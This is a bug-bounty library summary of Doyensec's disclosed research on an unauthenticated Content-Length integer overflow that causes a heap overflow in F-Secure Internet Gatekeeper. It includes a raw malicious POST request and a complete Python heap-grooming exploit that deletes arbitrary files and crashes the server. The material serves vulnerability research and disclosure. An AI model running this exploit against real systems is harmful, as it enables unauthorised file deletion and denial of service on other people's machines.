# Heap Overflow in F-Secure Internet Gatekeeper

Unauthenticated Content-Length integer overflow in F-Secure Internet Gatekeeper admin panel causes malloc(0) then arbitrary heap overflow, enabling file deletion and potential RCE.

- Payout: Research
- Severity: critical
- Program: F-Secure Internet Gatekeeper
- Write-up by: Doyensec
- Disclosed: 2020-02-02
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2020/02/03/heap-exploit.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2020-02-03-heap-exploit-html
- Tags: area:devices domain:network impact:integrity impact:rce kind:research platform:research sev:critical tech:linux technique:fuzzing technique:reverse-engineering technique:source-review vuln:dos vuln:memory-corruption

**Target:** fsikgwebui admin panel HTTP server on port 9012/tcp
**Root cause:** Content-Length parsed via strtoul returns ULONG_MAX (0xFFFFFFFF) on overflow; adding 1 wraps to 0, so malloc(0) allocates a 0x10 chunk, then mg_read writes content_len_new (0xFFFFFFFF) bytes into it.
**Steps:**
1. Install vulnerable F-Secure Internet Gatekeeper (sha256 1582aa77...) on CentOS with glibc.i686.
2. Send `POST /submit HTTP/1.1` to port 9012 with header `Content-Length: 21487483844` and body of A's.
3. strtoul overflows to ULONG_MAX=0xFFFFFFFF; `fs_malloc(content_len_new + 1)` wraps to malloc(0) returning a 0x10 chunk.
4. `mg_read(header_struct, data_by_post_on_heap, content_len_new)` writes attacker-controlled bytes past the chunk, overflowing heap structures.
5. Heap-massage with 100 requests of content_len=0x80000 placing filename at 0xdda0077d, then trigger payload overwriting a struct flag to should_delete_file=true; decontruct_http removes the file.
**How found:** Fuzzed the C/C++ admin panel with Fuzzotron/Radamsa using a valid unauthenticated POST language-change request as seed; a mutated Content-Length of 21487483844 crashed it, suggesting integer math overflow; gdb traced crash to fs_httpd_civetweb_callback_begin_request.
**Exploitation:** Unauthenticated attacker sends crafted POST with huge Content-Length; after heap grooming (100 spray requests), a payload overwrites a heap struct flipping should_delete_file=true and spraying the target file path, causing arbitrary file deletion (~60-70% reliability). Author notes RCE is achievable via controlled chunk sizes and multithreaded clean arenas.
**Escalation:** Heap massage/spray to place controlled data at predictable address, then overwrite struct flag; multithreading could yield clean arenas for repeated RCE attempts.
**Insight:** Unauthenticated endpoints that parse Content-Length with strtoul and then add 1 before malloc are prime integer-overflow targets; fuzz with oversized numeric header values, not just body mutations.

## Proof of concept (copied exactly from the original report)

**POST request with huge Content-Length**

```
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844

AAAAAAAAAAAAAAAAAAAAAAAAAAA
```

**Python exploit script for heap overflow**

```
from pwn import *
import time
import sys

def send_payload(payload, content_len=21487483844, nofun=False):
 r = remote(sys.argv[1], 9012)
 r.send("POST / HTTP/1.1\n")
 r.send("Host: 192.168.0.122:9012\n")
 r.send("Content-Length: {}\n".format(content_len))
 r.send("\n")
 r.send(payload)
 if not nofun:
 r.send("\n\n")
 return r

def trigger_exploit():
 print "Triggering exploit"
 payload = ""
 payload += "A" * 12 # Padding
 payload += p32(0x1d) # Fast bin chunk overwrite
 payload += "A"* 488 # Padding
 payload += p32(0xdda00771) # Address of payload
 payload += p32(0xdda00771+4) # Junk
 r = send_payload(payload)

def massage_heap(filename):
 print "Trying to massage the heap....."
 for x in xrange(100):
 payload = ""
 payload += p32(0x0) # Needed to bypass checks
 payload += p32(0x0) # Needed to bypass checks
 payload += p32(0xdda0077d) # Points to where the filename will be in memory
 payload += filename + "\x00"
 payload += "C"*(0x300-len(payload))
 r = send_payload(payload, content_len=0x80000, nofun=True)
 r.close()
 cut_conn = True
 print "Heap massage done"

if __name__ == "__main__":
 if len(sys.argv) != 3:
 print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
 print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
 exit()
 massage_heap(sys.argv[2])
 time.sleep(1)
 trigger_exploit()
 print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
```

